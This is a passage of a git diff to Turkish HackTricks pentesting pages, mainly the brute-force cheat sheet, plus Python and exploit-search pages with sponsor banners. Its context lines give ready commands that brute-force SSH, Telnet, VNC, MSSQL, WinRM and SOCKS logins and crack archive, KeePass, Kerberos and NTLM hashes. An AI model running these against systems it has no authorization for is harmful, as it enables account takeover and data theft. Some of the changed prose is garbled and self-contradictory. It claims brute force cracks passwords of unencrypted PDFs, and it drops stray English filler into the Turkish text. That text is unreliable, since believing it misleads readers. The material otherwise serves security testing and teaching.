iletmek için kullanılan bir protokoldür. SOCKS sunucuları, ağ trafiğini yönlendirmek ve gizlemek için kullanılabilir. Bu, hedef sistemlere erişmek için kullanılan bir tekniktir. +### SOCKS ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt @@ -447,7 +439,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords. ``` ### SQL Server -SQL Server, Microsoft'un ilişkisel veritabanı yönetim sistemidir. SQL Server'a brute force saldırıları genellikle SQL Server Authentication modunda gerçekleştirilir. Bu saldırılar, kullanıcı adı ve şifre kombinasyonlarını deneyerek SQL Server'a erişmeye çalışır. Saldırganlar genellikle oturum açma formlarını hedef alır ve oturum açma sayfasına otomatik olarak kullanıcı adı ve şifre kombinasyonları gönderir. Bu saldırı türü, zayıf veya varsayılan şifreler kullanıldığında etkili olabilir. +SQL Server, Microsoft'un ilişkisel veritabanı yönetim sistemidir. Brute force saldırıları, SQL Server veritabanlarına erişmek için kullanılabilir. Bu saldırılar genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek gerçekleştirilir. Saldırganlar genellikle oturum açma formlarını hedef alır ve oturum açma sayfasına doğrudan erişim sağlamaya çalışırlar. ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -458,7 +450,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts ``` ### SSH -SSH, Secure Shell'in kısaltmasıdır. SSH brute force saldırıları, genellikle bir kullanıcı adı ve şifre kombinasyonunu doğru bir şekilde tahmin etmek için otomatik araçlar kullanarak SSH sunucusuna erişmeye çalışan saldırganlar tarafından gerçekleştirilir. Bu saldırı türü, güvenlik duvarı ve diğer güvenlik önlemleri tarafından engellenmediği sürece etkili olabilir. +SSH, **Secure Shell** anlamına gelir ve ağ protokollerini güvenli bir şekilde yönetmek için kullanılır. SSH brute force saldırıları, genellikle şifre deneme saldırılarıyla gerçekleştirilir. Saldırganlar, farklı şifre kombinasyonlarını deneyerek hedef SSH sunucusuna erişmeye çalışırlar. Bu saldırı türü, güçlü ve karmaşık şifreler kullanılarak önlenmelidir. ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -470,17 +462,17 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ ``` #### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG -Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, büyük ölçüde azaltılmış bir anahtar alanıyla sonuçlanabilir ve [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla kaba kuvvet saldırısına maruz kalabilir. Önceden oluşturulmuş zayıf anahtar setleri de mevcuttur, örneğin [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, büyük ölçüde azaltılmış bir anahtar alanıyla sonuçlanabilir ve [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla brute force saldırısına maruz kalabilir. Önceden oluşturulmuş zayıf anahtar setleri de mevcuttur, örneğin [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). ### STOMP (ActiveMQ, RabbitMQ, HornetQ ve OpenMQ) -STOMP metin protokolü, RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj sıralama hizmetleriyle sorunsuz iletişim ve etkileşim sağlayan yaygın olarak kullanılan bir iletişim protokolüdür. Mesaj alışverişi yapmak ve çeşitli mesajlaşma işlemlerini gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar. +STOMP metin protokolü, RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj sıralama hizmetleriyle sorunsuz iletişim ve etkileşim sağlayan bir mesajlaşma protokolüdür. Mesaj alışverişi yapmak ve çeşitli mesajlaşma işlemlerini gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` ### Telnet -Telnet, ağ üzerindeki diğer cihazlara erişmek için kullanılan bir protokoldür. Genellikle kullanıcı adı ve şifre gibi kimlik doğrulama bilgilerini iletmek için kullanılır. Güvenlik açısından zayıf olduğundan, saldırganlar genellikle brute force saldırılarıyla Telnet sunucularına erişmeye çalışırlar. +Telnet, ağ protokolüdür ve bir bilgisayara uzaktan erişim sağlamak için kullanılır. Genellikle TCP üzerinden 23 numaralı bağlantı noktası üzerinden çalışır. Telnet, metin tabanlı bir protokol olduğundan, veriler açık bir şekilde iletilir ve bu nedenle güvenli değildir. Güvenli olmayan doğası nedeniyle, Telnet üzerinde yapılan iletişimler kolayca izlenebilir ve ele geçirilebilir. Bu nedenle, Telnet yerine güvenli alternatifler kullanılması önerilir. ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] @@ -496,8 +488,6 @@ legba telnet \ --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` ### VNC - -VNC, sanal bir ağ üzerinden başka bir bilgisayara uzaktan erişmek için kullanılan bir grafiksel masaüstü paylaşım sistemidir. VNC brute force saldırıları, genellikle standart kullanıcı adları ve şifreleri deneyerek VNC sunucularına erişmeye çalışır. Bu saldırı türü, güçlü ve benzersiz şifreler kullanılarak kolayca önlenir. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -519,10 +509,10 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ -Bugün Erişim Alın: +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +Bugün Erişim Edinin: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Yerel @@ -575,7 +565,7 @@ unzip unlocked.zip #User new_pwd as password ``` ### 7z -### 7z +Brute force attacks can be used to crack passwords for 7z archives. Tools like **7z2hashcat** can convert 7z files to hashcat formats for easier cracking. Hashcat can then be used to perform the actual brute force attack. ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -588,7 +578,7 @@ apt-get install libcompress-raw-lzma-perl ``` ### PDF -PDF dosyaları, genellikle metin belgeleri, elektronik kitaplar veya formlar gibi belgeleri depolamak için kullanılan bir dosya biçimidir. PDF dosyaları genellikle metin, grafik ve diğer medya türlerini içerebilir. PDF dosyaları genellikle Adobe Acrobat veya diğer PDF okuyucuları kullanılarak görüntülenebilir ve düzenlenebilir. +PDF dosyaları, genellikle metin belgeleri, elektronik kitaplar veya formlar gibi belgeleri depolamak ve paylaşmak için kullanılan popüler bir dosya biçimidir. PDF dosyaları genellikle şifrelenmez ve içeriğe erişimi sınırlamak için koruma önlemleri alınmaz. Bu nedenle, PDF brute force saldırıları genellikle şifrelenmemiş PDF dosyalarının şifresini kırmak için kullanılır. Bu saldırı türü, genellikle otomatik araçlar veya yazılımlar kullanılarak gerçekleştirilir ve şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalışır. ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -628,8 +618,6 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Keberoasting - -Keberoasting, bir hedefin Service Principal Name (SPN) değerlerini kullanarak Kerberos bileşenlerine saldırmak için kullanılan bir tekniktir. Bu saldırıda, SPN'ye sahip hesaplar hedeflenir ve bu hesaplara ait olan Kerberos bileşenlerinden hedefin uzun süreli kimlik doğrulama bileşenlerini çalmak amaçlanır. Bu çalınan bileşenler daha sonra çeşitli offline saldırı teknikleriyle kırılmaya çalışılır. ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt @@ -672,9 +660,9 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
-### DPAPI Anahtarını Kırma +### DPAPI Anahtarını Kırmak -[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) adresini kullanın ve ardından john +[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) adresini kullanın ve ardından john'u çalıştırın ### Open Office Şifre Korumalı Sütun @@ -700,10 +688,10 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ -Bugün Erişim Alın: +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\ +Bugün Erişim Edinin: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Araçlar @@ -744,10 +732,10 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` -* **Kelime listesi kombinasyonu** saldırısı +* **Kelime listesi kombinatörü** saldırısı Hashcat ile **2 kelime listesi birleştirilebilir**.\ -Eğer 1. liste **"hello"** kelimesini içeriyorsa ve ikinci liste **"world"** ve **"earth"** kelimelerini içeriyorsa. `helloworld` ve `helloearth` kelimeleri oluşturulacaktır. +Eğer 1. liste **"hello"** kelimesini içeriyorsa ve ikinci liste **"world"** ve **"earth"** kelimelerini içeriyorsa, `helloworld` ve `helloearth` kelimeleri oluşturulacaktır. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -790,7 +778,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` -* Kelime listesi + Maske (`-a 6`) / Maske + Kelime listesi (`-a 7`) saldırısı +* Kelime listesi + Mask (`-a 6`) / Mask + Kelime listesi (`-a 7`) saldırısı ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -803,6 +791,8 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` ### Linux Hash'lerini Kırmak - /etc/shadow Dosyası + +Linux'ta, kullanıcı parolaları `/etc/shadow` dosyasında şifrelenmiş olarak saklanır. Bu dosya, parolaların hash değerlerini içerir ve saldırganlar bu hash değerlerini kırarak kullanıcı parolalarını elde edebilirler. ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems @@ -813,27 +803,32 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM" ## Windows Hashes -### Cracking Windows Hashes +### Introduction -Windows hashes can be cracked using various tools and techniques. One common method is **brute force** attack, where an attacker tries all possible combinations of characters until the correct password is found. This can be a time-consuming process, especially for complex passwords. Another approach is to use **rainbow tables**, which are precomputed tables used to crack password hashes more efficiently. +When it comes to cracking Windows hashes, brute force is a common technique used by hackers. Brute force involves systematically checking all possible passwords until the correct one is found. This method can be time-consuming but is often effective, especially if the password is weak. -When attempting to crack Windows hashes, it is important to consider the strength of the password and the resources available to the attacker. Using a combination of **brute force** attacks, **dictionary attacks**, and **rainbow tables** can increase the chances of successfully cracking the hash. +### Tools ---- -# Kaba Kuvvet +There are various tools available for brute forcing Windows hashes, such as **John the Ripper** and **Hashcat**. These tools use different algorithms and techniques to crack passwords, making them valuable resources for hackers attempting to gain unauthorized access to Windows systems. -## Windows Hash'leri +### Methodology -### Windows Hash'lerinin Kırılması +The methodology for brute forcing Windows hashes typically involves creating a wordlist of potential passwords and using a tool like John the Ripper or Hashcat to systematically test each password against the hash. Hackers may also use rulesets to modify and combine words in the wordlist to increase the chances of success. -Windows hash'leri çeşitli araçlar ve teknikler kullanılarak kırılabilir. Bir yaygın yöntem **kaba kuvvet** saldırısıdır, burada saldırgan doğru şifreyi bulana kadar tüm olası karakter kombinasyonlarını denemeye çalışır. Bu, özellikle karmaşık şifreler için zaman alıcı bir süreç olabilir. Başka bir yaklaşım ise **gökkuşağı tabloları** kullanmaktır, bunlar önceden hesaplanmış tablolarıdır ve şifre hash'lerini daha verimli bir şekilde kırmak için kullanılır. +### Conclusion -Windows hash'lerini kırmaya çalışırken, şifrenin gücünü ve saldırganın kullanabileceği kaynakları göz önünde bulundurmak önemlidir. **Kaba kuvvet** saldırıları, **sözlük saldırıları** ve **gökkuşağı tabloları** kombinasyonunu kullanmak, hash'i başarılı bir şekilde kırma şansını artırabilir. +Brute forcing Windows hashes can be a powerful technique for hackers looking to crack passwords and gain access to Windows systems. By using the right tools and methodologies, hackers can increase their chances of success in compromising Windows security. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` # Kırma Ortak Uygulama Karma Değerleri + +Bir uygulamanın kimlik doğrulama işlemi sırasında kullanıcı parolalarını depolamak için genellikle karma değerleri kullanır. Bu karma değerleri, parolaların gerçek değerlerinin yerine geçen ve genellikle saldırganların parolaları çözmelerini zorlaştıran rastgele karakter dizileridir. Ancak, bazı durumlarda, bu karma değerleri basit veya yaygın parolalar kullanılarak oluşturulabilir. + +Örneğin, MD5, SHA-1 veya SHA-256 gibi yaygın olarak kullanılan karma algoritmaları, saldırganların bu karma değerlerini kaba kuvvet saldırılarıyla çözmelerine olanak tanır. Bu tür saldırılar, genellikle sözlük tabanlı saldırılar veya tüm olası kombinasyonları deneyen brute-force saldırıları şeklinde gerçekleştirilir. + +Bu nedenle, uygulama güvenliği testleri sırasında, karma değerlerinin güvenliğini değerlendirmek için kaba kuvvet saldırıları yapılması önemlidir. Bu saldırılar, zayıf veya yaygın parolaların kullanıldığı durumları tespit etmek ve uygulamanın güvenlik açıklarını gidermek için önemli bir adımdır. ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash @@ -845,22 +840,22 @@ Windows hash'lerini kırmaya çalışırken, şifrenin gücünü ve saldırganı ```
-Sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\ +[**Trickest**]'i (https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md index 47c0e3e56..20d798f68 100644 --- a/generic-methodologies-and-resources/python/README.md +++ b/generic-methodologies-and-resources/python/README.md @@ -2,25 +2,25 @@
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %} **Kontrol etmek için ilginç sayfalar:** @@ -33,21 +33,21 @@ Bugün Erişim Alın:
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md index 044172c71..e33b58fbc 100644 --- a/generic-methodologies-and-resources/search-exploits.md +++ b/generic-methodologies-and-resources/search-exploits.md @@ -1,26 +1,26 @@ -# Exploit Araştırması +# Exploit Ara
-Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**]'i (https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} ### Tarayıcı @@ -30,7 +30,7 @@ Ayrıca [https://exploits.shodan.io/](https://exploits.shodan.io) adresinden **s ### Searchsploit -**Konsoldan exploitdb'deki hizmetler için exploit aramak için kullanışlıdır.** +**Konsoldan exploitdb'deki hizmetler için exploit aramak için** **searchsploit** kullanışlıdır. ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -54,7 +54,7 @@ Eğer hiçbir şey bulamazsanız, kullanılan teknolojiyi [https://packetstormse ### Vulners -Vulners veritabanında da arama yapabilirsiniz: [https://vulners.com/](https://vulners.com) +Ayrıca vulners veritabanında arama yapabilirsiniz: [https://vulners.com/](https://vulners.com) ### Sploitus @@ -63,21 +63,21 @@ Bu diğer veritabanlarında exploit arar: [https://sploitus.com/](https://sploit
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
-Sıfırdan kahraman olacak şekilde AWS hackleme konusunda htARTE (HackTricks AWS Red Team Expert) öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
diff --git a/linux-hardening/bypass-bash-restrictions/README.md b/linux-hardening/bypass-bash-restrictions/README.md index edd729758..a2220d44e 100644 --- a/linux-hardening/bypass-bash-restrictions/README.md +++ b/linux-hardening/bypass-bash-restrictions/README.md @@ -2,13 +2,13 @@
